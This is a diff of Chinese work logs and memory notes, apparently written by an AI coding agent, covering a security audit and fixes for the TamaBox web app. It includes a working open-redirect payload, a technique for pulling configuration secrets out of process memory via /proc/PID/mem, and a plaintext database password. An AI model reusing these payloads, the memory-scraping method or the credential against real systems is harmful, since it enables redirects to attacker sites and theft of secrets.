- **今天打不通**:`box.shiroko.one` 境内递归(AliDNS DoH)只解析到 `cloudflare.182682.xyz` → 104.18.x/172.64.x,
文档里写的境内 `eo.dnse4.com` 线路已不在;`box.tama.guru` 301 跳新域名也走 CF。差一条 DNS 记录。
- 修法:权威头也套 `isTrustedProxy(remote)`(回环可用 cloudflared 本机场景),fail-closed;
EO 侧删 `CF-Connecting-IP`;日志同时记 `remote_addr` 与解析后 IP。
### 源站定位(外网已尽力,未找到)
- `box.shiroko.one` CNAME `cloudflare.182682.xyz`(第三方 CF SaaS 优选,zone 不在我们手里,
其 Transform/WAF 规则无法自查)。
- certspotter 枚举 `*.shiroko.one` 11 个、`*.337845818.best` 19 个子域,逐个解析全部落
Cloudflare / 腾讯 EdgeOne / Vercel(216.198.79.x、64.29.17.x),**无一条直连记录**。
- `status.shiroko.one`、`share.shiroko.one` → 43.174.246.43/247.43,用 box 的 SNI 访问回 418 Teapot
→ 是 EO 边缘不是源站。
- 结论:源站隐藏目前成功,但「找不到」≠「不可达」,仍需服务器侧 `security-selfcheck.sh local` 确认
`listen = 127.0.0.1:5877`。
### 顺带修正
上一版报告曾把「三种伪造头都不生效」推断为 `trust_proxy` 可能为 false —— 那是错的解读:
无论 true/false,限流键都落在我自己的真实 IP 上,外部不可分辨。已在报告第四节改正。
+67
View File
@@ -0,0 +1,67 @@
# 2026-10-26
## 修复 P1-3:CDN 权威客户端头未校验来源
用户确认:生产/测试 `trust_proxy = true`,回源是 **cloudflared Tunnel 回本机**(对端 127.0.0.1);
境内 **EdgeOne 已取消**(实测期国内速度不理想),将来可能重新启用。
### 改动
- `internal/shared/ip.go`
- 新增 `headerSourceTrusted(remote)`:对端是回环 或 命中 `trusted_proxies` 才允许采信权威头。
- `ResolveClientIP` 把 `CF-Connecting-IP` / `EO-Client-IP` 读取整体收进该判断;公网对端忽略。
- 公网对端带权威头 → `sync.Once` 一条 WARN(`remote_addr` + `header_ip`),覆盖「伪造」与
「CDN 直连回源忘登记网段」两种情形。
- XFF / X-Real-IP 信任范围未变(仍只认 `trusted_proxies`,回环不隐含信任)。
- `internal/shared/ip_test.go`:原 4 个用例按新契约调整;新增
`RejectsForgedHeaderFromPublicPeer`(4 种伪造组合)`TrustedProxyHonorsCDNHeader`
`IPv6LoopbackHeader` `LoopbackDoesNotTrustXFF`;加 `setTrustedProxies` 助手(还原包级状态)。
- `conf/app.sample.ini`(CRLF,用脚本按行块改,未破坏行尾)+ `internal/conf/static.go` 注释同步。
### 验证
- 变异验证:把 `headerSourceTrusted(remote)` 临时改成 `true`(旧逻辑)→ 回归用例 3 个子项失败;
还原后全绿。确认测试咬得住。
- `go build -overlay dev/overlay.json ./...` 通过;排除 `internal/storage`(overlay 桩缺
`fitsWithin`/`aspect` 等辅助函数,属既有问题)后全包测试通过。
### 环境坑(值得记)
- 本机 `go` 是 1.25.5,`go.mod` 要 1.27.3;`GOSUMDB=off` 会让工具链校验失败(
"verifying module: checksum database disabled by GOSUMDB=off"),`GOTOOLCHAIN=local` 又降级到 1.25.5。
解法:直接调缓存里的工具链
`~/go/pkg/mod/golang.org/[email protected]/bin/go.exe`,配 `GOTOOLCHAIN=local`。
- Python 读 CRLF 文件要显式 `newline=''`,否则 universal newline 把 `\r\n` 归一成 `\n`,
`split('\r\n')` 只会得到 1 行(踩过一次,误判文件被写坏)。
### 待办
P1-1(img src 白名单)、P1-2(密码 minlen + 验证码顺序)、P2-3(`to` 开放重定向)均未动。
## 修复 P1-1 / P1-2
### P1-1 外链图片(`internal/template/markdown.go`)
- 新增 `safeImageSrc()`:`<img src>` 只允许站内相对路径(无协议部分)或主机命中自有图片出口
(`image_bucket_cdn_host` / `aliyun_bucket_cdn_host` / `<bucket>.<endpoint>` / `external_url` 主机)。
- 含反斜杠一律拒(`\` 在浏览器等价 `/`);`//` 先于「以 / 开头=站内」判断;
`url.Parse` + `Hostname()` 比对 → 后缀 / userinfo 把戏失效。
- `img` 无合法 src 时**整段丢弃**(只删 src 会留 `<img alt>` 变成破图)。
- `a[href]` 仍走 `safeURL`(外链需点击,产品上要允许)。
- 测试:`TestSafeImageSrc`(12 条拒绝)+ `TestMarkdownToHTML_ImageSource`(端到端);
变异验证:`safeImageSrc` 直接 return true → 7 条拒绝用例失败。
### P1-2 密码(5 个文件)
- `minlen:6` + `form.PasswordMinLen`;handler 里 `rejectTooShortPassword()` 二次校验(rune 计数);
前端 `minlength=6 maxlength=30` + 提示文案「6–30 位,留空则关闭」;i18n 新增
`form.profile.passwordLen` / `question.errPasswordLocked`(4 语言)。
- 校验顺序:抽 `askPasswordDenied()`,从 `New()` 首行挪到**两个分支验证码之后**(私聊 + 普通提问各一次)。
没把验证码提到最前——会让「箱已关闭」「需登录」变成验证码错误。
- 失败锁定:新增 `shared.AttemptLimiter`(无后台 goroutine,惰性清理 + 键数上限);
`pagePasswordGuard(5, 10min, 10min)`,键 = 箱主ID + LimitKey(IP)。锁定期内不比对密码。
### 端到端验收脚本
`outputs/sec-audit-2026-10-25/verify_p1_fixes.py`(`--only p1-1,p1-2a,p1-2b,p1-2c`)。
**在未部署的旧版本上四项全 FAIL,已实测** → 证明检测有效;部署后应全 PASS。
踩到的两个判定坑(写脚本时记下来):
- 提问成功页是 **200**(不是 302),不能用状态码判断提交成功。
- 受保护的箱是**在 `/_/<domain>` 内联渲染密码表单(200)**,不是跳转 `/password`;
判断「有没有密码闸门」只能看页面里有没有 `action="/_/<domain>/password"`。
- 箱主页与 `/api/v1/user/<domain>/questions` 都**不暴露题目 id**(无后台),
要定位刚建的提问只能扫 `/_/<domain>/<id>`(脚本里 `question_ids_with_marker`)。
+92
View File
@@ -0,0 +1,92 @@
# 2026-10-27
## 在 WSL Debian 上把 TamaBox 跑起来,做 P1 修复的端到端复验
用户新搭了 WSL2 Debian,给了 `data/data.txt`(测试环境的 PG / Redis / OSS 凭据),要求「用它部署测试一下」。
**环境**(详细踩坑见 `topics/build.md` 的「本地部署」小节):
- `wsl.exe -d Debian -u root` 可免密进 root;apt 装了 `redis-server / python3 / python3-requests /
gcc / libwebp-dev`(有 libwebp 后 `s3.go` 正常编译,不用 s3stub overlay)。
- Go:`/opt/go` 装 1.27.3,但 `~/.bashrc` 里 `GOROOT=/usr/local/go`(1.26.3)→ 必须 `env -u GOROOT`。
- PG:新建 role `tamabox`(CREATEDB)+ 库 `tamabox`、`nekobox`(schema `nekobox`)。
- 服务:`/etc/systemd/system/tamabox-test.service`,源码在 `~/tb/src`,二进制 `~/tb/tamabox`,
日志 `~/tb/server.log`,端口 5877。配置 `~/tb/src/conf/app.ini`(`production=true`、
`external_url=http://127.0.0.1:5877`、`captcha_type=math`、`enable_text_censor=false`、`trust_proxy=true`)。
**验收结果(全 PASS)**:
- P1-1 外链图片剥离 / 白名单图片保留 / 实体与反斜杠变体;
- P1-2a 4 位密码被拒、6 位生效;P1-2b 验证码先于密码;P1-2c 6 次失败后正确密码仍被锁;
- P1-3 A/B:回环对端 + `CF-Connecting-IP: 1.2.3.4` → 命中黑名单 302;Windows 侧(非回环)同样头 → 忽略并 WARN;
- 回归:18 条 XSS 载荷无可执行/无外联、CSRF 无 token 400、越权全 302;
- 单测:`internal/{template,shared,form,conf,db,route}` + `route/{question,vote}` 全绿。
**这次揪出的新问题(已修)**:P1-1 的白名单把配置串整串当主机名,而真实配置是
`image_bucket_cdn_host = "r2.337845818.best/tamabox"`(host/path)→ 自家 R2 图片被一起剥掉。
修法:`normalizeHostLike()` 归一化(补协议 → url.Parse → Hostname),endpoint 主机自身也入白名单
(R2 path-style 链接是 `<endpoint>/<bucket>/…`);新增 `TestSafeImageSrc_RealConfiguredHosts`,
变异验证(退回旧逻辑 → 4 条放行用例变红)。**教训:白名单类单测必须照抄生产配置的写法,不能自己编一个好写的形态。**
**P2-3 从推断升级为实测**:`/login?to=/\evil.example` 登录后 `Location: /\evil.example`,
按 WHATWG 解析 = `http://evil.example/`;`\\evil.example` 同样外跳(`//`、`///` 已被规整)。
同一载荷在正文渲染里是安全的(`<a href="/\example.org">` 被剥成 `<a>`)。修复未做,等用户指示。
**产物**:
- 报告新增「六、本地部署实测」章节(`outputs/security-audit-2026-10-25.md`);
- 脚本新增 `verify_p1_allow.py`(正向放行)、`local_seed.py`(本地注册审计账号),
`audit.py` 改为 `TB_BASE/TB_EMAIL/TB_PWD/TB_DOMAIN` 可覆盖 + 验证码 429 退避。
**待办**:改动仍未 commit / push;P2-3、P2-4、P2-5、P2-6、P2-7 未动。
---
## 第二轮:修完 P2/P3 + 全局复查
用户:「把你发现的问题修了,然后全局检查一遍有无其他问题」。
**已修(P2-3~P2-8、P3-9~P3-15)**:都写进 `topics/sec.md` 的「第二轮修复」。要点:
跳转白名单收敛到 `shared.SafeRedirectTarget`(`url.Parse` 会解 `%0d%0a`,必须逐 rune 查 `u.Path`);
注册三条失败分支共用 `registerSucceeded`;CSP 三档 + umami 的 `mami.shiroko.one` 必须入 `script-src`;
`no-store`;`securityHeaders` 前移;封禁落库 `ban_records`;常量时间比较;页码上限;429 统一出口。
**全局复查新发现 3 个**(详见 `topics/sec.md`):
1. 🔴 `chat_handler.SendMessage` 的 POST 缺 `conv.OwnerID != pageUser.ID` —— 被拉黑者换 domain 即可继续骚扰
+ 触发邮件 + 绕过屏蔽词/日限额。已修,3/3 PASS,并做变异验证(去掉校验后对应用例变红)。
2. 🟡 页面密码 `next` 的反斜杠外跳(与 P2-3 同源)。
3. 🟡 分享卡无字体时每请求烧数秒 CPU(公开端点)→ 失败结果缓存 1 分钟,实测 3.44s → 0.53s。
**验收**:`verify_p1_fixes.py` 4/4、`verify_round2.py` 19/19、`verify_page_next.py` 6/6、
`verify_chat_owner.py` 3/3;单测全绿;全项目编译通过。测试数据已清(库里只剩 `tb-local@example.com`)。
**报告**:`outputs/security-audit-2026-10-25.md` 新增「七、第二轮修复与全局复查」。
**再待办**:仍未 commit / push(26 改 + 9 新);CSP 是否切 `enforce`;生产机补 glyf 轮廓字体。
**收尾复跑发现两个「假红」**(已写进 `topics/sec.md`):① 不给 `TB_BASE` 时脚本打的是远端
box-dev-api,没部署修复所以 4/4 FAIL;② 页面密码入口限流 10 次/分钟 + p1-2c 的 10 分钟锁定
会让 `verify_page_next.py` 后两项 429。顺手把该脚本判据从「Location 不含 evil」改成精确比对
`/_/<domain>`、每条载荷开新会话、429 单独报错。四套最终:4/4、19/19、6/6、3/3。库已清回只剩 `tb-local`。
---
## 第三轮:用户「按最优解决定」→ CSP 切 enforce + 字体落地 + 提交
**CSP 默认改 enforce**(`cspMode()` 空值 = enforce;写错值仍退 report)。依据不是猜:
写了 `outputs/sec-audit-2026-10-25/csp_sweep.py` + `csp_sweep.cjs`(Playwright + 本机 Chrome,
监听 `securitypolicyviolation`),report 模式先测一遍、enforce 再测一遍,**18 页面 + 2 图片端点零违规**。
巡检器自己做了变异自检(页面里主动 `fetch("http://csp-selftest.example/x")` → 确实报 connect-src),
否则「0 违规」可能只是监听器没挂上。
**补的漏项**:`browser.sentry-cdn.com` —— header.html 里 Sentry 在 `{{ if ne SentryDSN "" }}` 里,
本地没配 DSN 所以巡检碰不到,线上一开就会静默失效;现在按 `conf.App.SentryDSN` 条件放行 + 单测双向断言。
**分享卡字体**:补 glyf 系统候选(wqy-zenhei / wqy-microhei / DroidSansFallback / uming)并压到
Noto(CFF) 之前;`static/fonts` 同时按 CWD 和可执行文件目录找;`CheckShareCardFont()` 在 runWeb 里
启动即探(命中 Info 带路径,缺失 WARN 给 apt 命令)。实测 `apt install fonts-wqy-zenhei` 后
零配置即 `font=…wqy-zenhei.ttc`,`/share-card` 与单题分享卡从 500 → `200 image/jpeg`,
中文/二维码正常(图存 `outputs/sec-audit-2026-10-25/sharecard-*.jpg`)。
**提交**:三个 commit(7802bb2 安全修复 / e807dea 字体 / 430c6ef 记忆)。**push 失败**:
`git.shiroko.one` 的 https 存取凭据被拒(`Failed to authenticate user`),SSH 路(`id_ed25519_wsl`)
也未被该仓库授权 —— 需要用户更新 token 后自己 push。
**全量单测**:带 `DB_TYPE=postgres DB_USER=tamabox DB_PASSWORD=… DB_HOST=127.0.0.1` 全绿;
不带 DB 变量时一批 DB 门控用例会报 `Unknown database type: ""`(不是回归)。
+197
View File
@@ -0,0 +1,197 @@
# 2026-10-29
## 第二轮综合复查(非安全向)
用户要求「再确认还存在什么问题与风险点」+「从用户角度有什么值得改进和增加的功能」。
前一轮是安全专项(P1/P2/P3 全修完),这轮换到**业务正确性 / 运维 / 前端体验 / 产品能力**四个面。
产出:`outputs/review-2026-10-29.md`(分级清单 + 复现方式 + 产品建议)。
### 实测复现的两条 P0
1. **私聊 50 条截断**:`GetByConversationID` 是 `Order("created_at ASC") + Limit(50)`,
唯一调用方永远传 nil cursor;会话上限 200 → 第 51 条起**写库成功但永久不可见**。
本地造 55 条实测:页面只渲染 #1–#50。这不是性能问题,是「数据在库里但用户看不到」。
2. **访问日志泄露 token**:`flamego.Classic()` = `Use(Logger(), Recovery(), Static())`,
Logger 记 `RequestURI`(含 query)。实测日志出现 `path=/_/tblocal/4?t=SECRETTOKEN123`。
`?t=` 是私密题钥匙、`?code=` 是改密凭证。**tracing 中间件早就为同一风险避开了 RequestURI
并写了注释,框架默认 Logger 漏了。**
### 代码确认的 P1
- **无优雅关闭**:全仓 `signal.Notify`/`Shutdown` 零命中,SIGTERM 直接杀进程 → 每次重启掐断在途 POST。
- **提问入库后图片失败不回滚**(`page.go:660` → `:680`),叠加 DuplicateGuard 5 分钟 → 用户以为没发出、5 分钟内不能重提。
- **Redis 两种故障**:session 在 Redis 上宕机即全站 500(flamego session load 直接 panic);
`cache.Cacher` **没有** `if conf.Redis.Addr != ""`,空 Addr 被 go-redis 回退到 localhost:6379 → 没配 Redis 时找回密码静默坏掉。
- **处置不覆盖投票**:提问链路 7 处 `ActiveLevel`,投票链路 0 处。L4 处置后 `/_/domain` 已 302 到 /restricted,
但 `/vote/{token}` 照常可投、可发新投票、探索页照常曝光。
### 产品缺口(重要,别忘)
- **完全没有访问量数据**:`SiteAnalytics` 是全站聚合,无 per-user 维度,也没有 page view 表。
箱主无法知道自己被看了多少次。
- **提问者找不回自己的提问**:不填邮箱时唯一手段是成功页那条链接,关页即失联;全仓 `localStorage` 零命中。
→ 建议前端用 localStorage 记 `{domain, id, token}`,箱主页显示「你有 N 条提问已被回答」。
- `NotifyType` 只有 `email` / `none`,无 Telegram / Webhook。
- 模板零 `application/ld+json`(SEO 富摘要缺失),无 RSS。
- 图片原图直传(无前端压缩),配合 ReadTimeout 30s → 手机端 8MB 图必超时。
### 顺带确认的「不用动」
四语言字典 917 条完全对齐(`TestDictionaryComplete` PASS)、深色模式正文对比度 4.8–6.8:1 达标、
gzip 实现质量高、后台移动端短标签方案做得细。
### 已修(同日,六项全部端到端验证)
| # | 改动 | 验证 |
|---|---|---|
| 1 | `GetByConversationID` 改 `id DESC` 取最新 + 内存反转,limit 取 `conf.Limits.ChatMaxMessages`;游标配 DESC | 55 条会话实测渲染 55 条(改前 50);单测 3 项 + 变异(改回 ASC 变红) |
| 2 | 弃 `flamego.Classic()`,`flamego.New()` + 自写 `accessLogMiddleware`(只记 `URL.Path`;静态成功不记、4xx/5xx 记) | 日志 `msg=access path=/_/tblocal/4`,token 计数 0 |
| 3 | `signal.NotifyContext` + `srv.Shutdown(15s)` + 关连接池 | 8 个并发分享图请求中 SIGTERM → 8/8 成功 |
| 4 | 图片失败分支 `Questions.DeleteByID` 回滚 | 6MB 图 → 提问增量 0 且 `deleted_at` 非空;无图对照增量 1 |
| 5 | `cache.Cacher` 加 `if conf.Redis.Addr != ""`(否则 MemoryIniter);启动 `PingRedis` fail-fast | 停 Redis 后启动立即失败并指向 Redis |
| 6 | 投票 Page/Submit 加 L4、VotePublish 加 L2、探索页用 `ActiveLevels` 批量过滤 | L4 → `/vote` 302 到 /restricted;探索页该投票 0→2(撤销后);L2 下发布停 draft,撤销后 published |
新增 `vote.err.restrictedPublish` 四语言 key。回归:4/4、19/19、6/6、3/3,全量单测 + `go build ./...` 通过。
**踩到的两个坑**(值得记):
- 消息加载的兜底写成 `limit < 50 → 50`,会把箱主显式配置的小上限抬大,测试直接测出这个语义错误。
兜底只该处理**零值**(未初始化),不该替用户改配置。
- Python 的 **bytes 字面量不支持 `\uXXXX`**(只有 str 支持),写字面量 `b'...\uff08'` 会原样写入
`\uff08` 六个字符。CRLF 文件的字节级替换要用 `\xef\xbc\x88` 或 `.encode()`。
### 第二批(P2 + 高价值 P3,Docker 按用户要求跳过)
| # | 改动 | 验证 |
|---|---|---|
| 7 | ReadTimeout 30s→120s(8MB 图需 ≥68KB/s;ReadHeaderTimeout 仍 10s 防 slowloris) | 参数修正 |
| 8 | 投票结果改 stale-while-revalidate:过期先返旧值 + 后台按投票去重重算;Submit 从「删缓存」改「标记过期」(新增 `cache.Expire` / `GetWithExpiry`) | 2 万条:冷启 0.211s → 过期首读 0.023s(9.2x) |
| 9 | 三处幂等:`MarkDeletedByOwner` 条件更新+RowsAffected、`SetPinnedIfCurrent`、追问「上一条已回复」移进事务 | DB 测试 3 项全过 |
| 10 | 私聊首条三写入合并为一个事务(`CreateWithFirstMessage`) | message_count 与实际消息数一致 |
| 11 | `/healthz` + `/readyz`(DB ping 失败 503) | 停 PG 后 healthz 200 / readyz 503 |
| 12 | 验证码失败改同请求渲染,不再丢正文 | 200 + 正文回填 + 不建提问 |
| 13 | `tbBeginSubmit()` 抽出,reCAPTCHA 回调补防重复 | 静态验证(7 个模板受益) |
| 14 | waline 按页加载、`loading="lazy"`、safe-area、三处硬编码接字典(+4 key×4 语言) | /login 无 waline;en 页面零中文残留 |
| 15 | 5 处裸类型断言改带 ok | 编译 + 单测 |
新增 `verify_round3.py`(6 项)。第二批回归:6/6、4/4、19/19、6/6、3/3,全量单测 + build 通过。
**判据随实现更新**:`verify_p1_fixes.py` 的 p1-2b 原来用「是否 302」判断验证码先于密码,
第 12 项改成 200 后判据失效 → 改为「200 且页面报『验证码错误』」。语义不变,判据跟着渲染方式走。
### 这次踩的第三个坑(重要,我自己造成的)
**Windows 上 `Path.write_text()` 默认把 `\n` 转成 `\r\n`**,用它改 LF 文件会让整个文件行尾翻车。
- 症状:`gofmt -l` 突然把整文件标为未格式化。
- 后果:`git diff --stat` 会显示整文件重写。
- 正确写法:`path.write_text(s, encoding="utf-8", newline="\n")`,或用 bytes。
- **排查手段**:`git diff --stat` 是判断行尾污染最快的信号 —— 真实改动应该只有几十行,
整文件重写一定是行尾变了。恢复方式:`git show HEAD:<file>` 取其行尾,再统一替换回来。
另:本项目 `core.autocrlf=true`,仓库里存 LF、工作区 checkout 成 CRLF,
所以「工作区看到 CRLF」不等于「仓库里是 CRLF」,判断基准要看 `git show`。
---
## 第三批(数据安全 + 产品缺口)
1. **删除投票 / 删除提问改成一个事务 + 真删(`Unscoped`)**。
原来四步独立写入、前几步失败只 Warn → 中途失败留下「选项没了票还在」这类
界面修不好的状态,重试时投票已不存在、只能报 not exist。
更关键的是:所有模型都带 `dbutil.Model` 的软删除,原来全是软删 ——
提交记录里的参与者文本、`voter_ip`、`voter_token`、提问里的 `FromIP`
只是「界面上看不见」,库里永久留着。用户点删除的预期是删掉。
2. **配额与内容同事务**:抽出 `incrementQuotaTx(tx, userID, feature, delta)`,
提问 `Questions.Create`、私聊 `CreateWithFirstMessage`、投票提交
`VoteSubmissions.Create`(新增 `QuotaUserID` 字段)都在自己的事务里 +1。
原来 handler 里独立写入且失败只 Warn,`quota_count` 会永久偏低。
3. **追问改回答不再重复发邮件**:`UpdateAnswerByID` 返回 `wasFirst`(事务内读旧值判定),
handler 只在首次回答时发。原来改三遍措辞就发三封。
4. `isQuestioner` 的 token 比较改 `subtle.ConstantTimeCompare`(与 Pager 中间件同口径);
CSV 导出的**表头与选项列**补 `sanitizeCSVCell`(原来只有数据列走它)。
5. 写路径功能开关改 **fail-closed**:新增 `db.FeatureStateOfStrict`,
读配置失败时拒绝而不是回退默认「开启」。
6. **真 404 + HTML 500**:新增 `internal/route/errorpage.go`,`f.NotFound` 不再 302 到首页,
改 `writeErrorPage(ctx, 404, ...)`;`flamego.Recovery()` 换成 `recoveryMiddleware()`。
7. **提问者找回自己的提问**:成功页写 localStorage,箱主页显示提示条,
新增 `POST /api/v1/ask-status`(批量问「哪些已被回答」)。
### 这批踩到 / 学到的
- **flamego 的 `f.NotFound` 拿不到组级中间件**:`template.Templater` 与 `Contexter`
(含 session、CSRF)都挂在 `f.Group("", ...)` 上,NotFound 不经过它们。
所以在 NotFound 里注入 `template.Data` 会直接 panic:
`unable to invoke the 8th handler: value not found for type template.Data`。
错误页最终用**内联 HTML + i18n.T**(`pickErrorPageLang` 从 Accept-Language 猜语言),
不依赖模板系统 —— 错误页本来是最后一道防线,不该依赖可能出错的链路。
- **`gofmt` 会把注释里的列表规范化**:`// 1) ...` 会被改写成 `// 1. ...`。
自己写的中文注释列表如果用了 `1) 2) 3)`,`gofmt -l` 会标为未格式化 —— 不是行尾问题。
- **`Select(...)` 漏列 = 字段静默为空**:`ListByIDsAndUser` 一开始只选了
id/token/answer/created_at,摘要永远是空串,接口 12 项里就这一项红。
- **配额口径要按功能分别确认**:投票的定量收集是「累计收到的票数」(在提交成功时 +1),
不是「创建了几个投票」。所以我一度在删除投票里加了 -1,那是错的 —— 删投票不代表票没发生过。
- **CDP 验证纯前端功能的套路**(`verify_ask_history_ui.mjs`):
`chrome --headless=new --remote-debugging-port=9222`(必须作为独立后台进程跑,
跟在别的命令后面 `&` 会随 shell 退出被回收)→ node 用内置 `WebSocket` 连
`/json/list` 里任一 target → `Runtime.evaluate` 注入 localStorage → 重新 navigate →
断言 DOM → `Page.captureScreenshot`。注意 headless=new 的空标签页 `type` 常是 `other`,
不能只找 `type === "page"`。
- **控制台错误要区分来源**:页面里 R2 图片的 CORS 报错是既有问题,
把它算进「本次改动失败」只会得到假阳性。判据要按 URL/关键字过滤。
### 待办(仍未做)
- AutoMigrate 无版本化(改列名会静默丢数据)
- 无备份脚本(图片全在对象存储,只备份 DB 恢复后全是裂图)
- 32 个 `<label>` 无 `for=`、语义标签对比度 1.9:1
- 箱主数据面板(全站无 page view 数据)、Telegram/Webhook 通知、JSON-LD + RSS、图片前端压缩
## 箱主数据面板 + 图片前端压缩(本轮完成)
把「待办」里的两项落地,其余(AutoMigrate 版本化、备份脚本、label/对比度、Telegram/Webhook、JSON-LD)仍未做。
### 箱主数据面板(/user/insights)
- 新表 `box_views`(`internal/db/box_views.go`):一行 = 一访客×一天×一箱,唯一索引
`(user_id, viewed_on, visitor)`,`views` 累加。**刻意不内嵌 `dbutil.Model`**——
软删除 + 唯一索引会让被删行永久占槽(老坑)。
- 访客标识 = `HMAC(日盐, IP)` 前 32 hex(`internal/insights/recorder.go`):同日可去重(UV 准)、
跨日不可关联(隐私)。代价:近 7/30 天 UV = 各日 UV 之和,文案里已写明。
- 异步记录器:buffered channel 512 + 2s flush,构造即启动 goroutine(避免 Close/Run 竞态),
队列满即丢(统计尽力而为)。过滤:箱主本人、空 UA、爬虫 UA 子串、预取头(Sec-Purpose 等)。
- 聚合层 `internal/db/box_analytics.go`:BoxTrend(提问/回答按日)、BoxHours(24h 分布)、
BoxFunnel(已回答/已读未答/未读 + 回答率 + 24h 回复占比)。复用 analyticsDialectFor 的时区处理。
- 展示层 `internal/insights/page.go`:30 天 PV/UV 双柱趋势(CSS 高度百分比)、时段分布、
漏斗 + 回答率进度条、自动结论(`FormatInsights`)。**百分比整数值不带 .0**(formatPct)。
- 打点:`route/question/page.go` 的 Pager 末尾(所有错误分支/密码页已 return 之后),
`!ctx.IsLogged || ctx.User.ID != pageUser.ID` 才记。
- 挂载:`/user/insights` 在 reqUserSignIn 组内;`pageScope` 加 `/user/insights → admin`。
- 密钥复用 `server.xsrf_key`;`StartMaintenance` 每日清 400 天前的明细。
- 测试:`internal/db/box_views_test.go`(4 项,含「同批同键先内存合并」——PG 的 ON CONFLICT
不允许同条 INSERT 二次命中同一行)、`internal/insights/page_test.go`(pct/窗口切分/visitorID/爬虫过滤)。
### 图片前端压缩(templates/base/footer.html)
- 选图即压:canvas → WebP(长边 1600、质量 0.8,与服务端 GeneralEncodeSpec 对齐)。
- 三条边界:GIF/SVG 跳过(canvas 会把 GIF 变静止首帧)、压完不更小退回原图(<85% 才采用)、
透明 PNG 走 WebP(不支持 WebP 编码时退回 PNG 而非 JPEG,否则透明变黑)。
- `createImageBitmap(..., {imageOrientation:'from-image'})` 摆正 EXIF,老浏览器回退不带选项。
- submit capture 兜底:选图立刻提交时 `preventDefault` + `Promise.all(压缩)` + `form.submit()`,
避免二次触发防重复。
- 实测(CDP + 自写 WebSocket 客户端 `dev/_cdp.py`):4.6MB PNG → 11.7KB WebP(0.3%),
小图原样保留、GIF 跳过,三断言全过。
### 踩坑(本轮新)
- **同步脚本把 WSL 的 `conf/app.ini` 删了**:Windows 侧用 `tar | wsl rsync --delete` 同步源码,
目标机那份含 DB 密码/对象存储密钥的 app.ini 不在源目录里,被当多余文件删掉 → 服务重启起不来。
修:`dev/sync-wsl.sh` 里 `rsync --exclude "conf/app.ini"`,模板放 `dev/wsl-app.ini`(已 gitignore)。
- **配置丢了怎么找回**:进程内存 dump(`/proc/PID/mem` 扫描 `key = "value"` 模式)能捞出启动时
加载的全部 ini 键值(salt/xsrf_key/上传密钥/DB DSN 都在),配回 `conf/app.ini` 即可。
- **headless 里 canvas 编码大图超时是假象**:Windows Chrome 的 `--dump-dom` + `--virtual-time-budget`
会把 3000×2000 噪声图压得解码超时,`#out` 永远停在 running。换 WSL 内 `apt install chromium`
走 CDP 轮询(`Runtime.evaluate` 非 await 反复读结果)才拿到真值。
- **自写 CDP 的 WebSocket 客户端必须处理 continuation 分片**:CDP 大事件(console/DOM 属性)会
把一帧拆成多段,按「一帧=一消息」解析会让缓冲区永久错位,evaluate 永远等不到响应。修了 `_cdp.py`。
- **awaitPromise 长轮询会挂死自写 WS 客户端**:验证异步结果改用「navigate + 非 await 轮询读 DOM」。
+52 -2
View File
@@ -3,7 +3,11 @@
明细已拆分到 `topics/*.md`(按需 Read 全文):
`coop` 协作 / `build` 构建测试 / `embed` 行尾·模板·embed / `review` 审核处置举报 /
`gorm` GORM / `style` 前端样式 / `theme` 主题 / `builder` 主题生成器 / `share` 分享卡 /
`honeypot` 蜜罐多家族伪装 / `stats` 全站数据页 / `misc` 其它约定。
`honeypot` 蜜罐多家族伪装 / `stats` 全站数据页 / `sec` 安全评估·客户端 IP 信任 /
`quality` 业务正确性·运维·前端(2026-10-29) / `misc` 其它约定。
新增(2026-10-29 数据面板批次):`insights` 箱主数据面板(box_views 表 + 异步记录器 +
`/user/insights` 页面 + 图片前端压缩)—— 详见 topics 可暂并入 quality,或另起 topic。
## 协作
@@ -18,8 +22,16 @@
`export GOPROXY=https://goproxy.cn,direct GOSUMDB=off GOFLAGS=-mod=mod`。
- DB 测试:`DB_TYPE=postgres DB_USER=postgres DB_PASSWORD=15207786347hXPm DB_HOST=127.0.0.1 DB_PORT=5432`(DSN 不带库名)。
- store 方法内用 `NewXStore(db.DB)`,别引用包级单例。
- 本沙箱起不了 `TamaBox web`(session 固定 redis,6379 未开)→ HTTP 端到端只能部署后做。
- ~~本沙箱起不了 `TamaBox web`~~ **2026-10-27 起可在 WSL2 Debian 上真跑**(PG+Redis+systemd,端口 5877):
详见 topics/build.md「本地部署」小节。要点:`env -u GOROOT`(bashrc 指着 1.26.3)、
`[recaptcha] captcha_type = math`、Windows 侧 127.0.0.1:5877 被占要用 WSL eth0 IP。
HTTP 端到端与 P1-3 的双路径 A/B 都能在这里做(回环=可信、跨主机=不可信)。
- python urllib 不稳定(用 curl);python 别用 `/tmp`;PIL 在 `~/.workbuddy/binaries/python/envs/default`。
- **Windows 上 `Path.write_text()` 默认把 `\n` 写成 `\r\n`** —— 改 LF 文件必须传 `newline="\n"`
或走 bytes,否则整个文件行尾翻车。症状:`gofmt -l` 突然把整文件标为未格式化。
**排查看 `git diff --stat`**:真实改动应是几十行,整文件重写就是行尾变了;
恢复用 `git show HEAD:<file>` 取其行尾再统一替换。
另:本项目 `core.autocrlf=true`,仓库存 LF、工作区 checkout 成 CRLF —— 判断基准要看 `git show`。
## 行尾 / 模板 / embed(topics/embed.md)
@@ -32,21 +44,39 @@
- 线上通道 = 七牛;裁决在 `censor/policy.go` + `moderation.Check`,新增调用点必须走 `moderation.Check`,不可用时 fail-closed。
- 严格度存 `users.moderation_strictness`;受处置用户强制 strict(`moderation.EffectiveStrictness`),查询失败回退用户设置。
- 同请求渲染只能用 `ctx.SetError`/`SetInternalError`,不能 `*Flash`。
- 写路径查功能开关用 `db.FeatureStateOfStrict`(失败即拒);`FeatureStateOf` 的
fail-open 只给读展示用 —— 它的默认值对提问/投票是「开启」,等于让一次配置读失败
绕过箱主的关闭与定量上限。
- 处置四级 L1–L4;到期靠 `expires_at` 无 cron;`restrict` 是替换语义;比较用 `RestrictionAtLeast`。
- L2 强制私密须在审核通过后、与写回答同一条 UPDATE(`AnswerByIDPrivate`)。
- `ListAPI` 不经 Pager 中间件,L4 与页面密码须自校验;分享卡拦截须在缓存查询之前。
- 举报:免登录+验证码+限流;同 IP 同题唯一索引 → 幂等;箱主只看次数不给 IP。
- 告警 24h≥8 或 7d≥20 → 邮件;`[security] security_alert_email` 为空则静默跳过。
- **处置覆盖面:新增任何「用户发起」的写入口都要问一句「这里要不要查 `ActiveLevel`」**。
提问链路 7 处齐全;投票链路曾 0 处(L4 后 `/vote/{token}` 照常可投、可发新投票、探索页照常曝光),
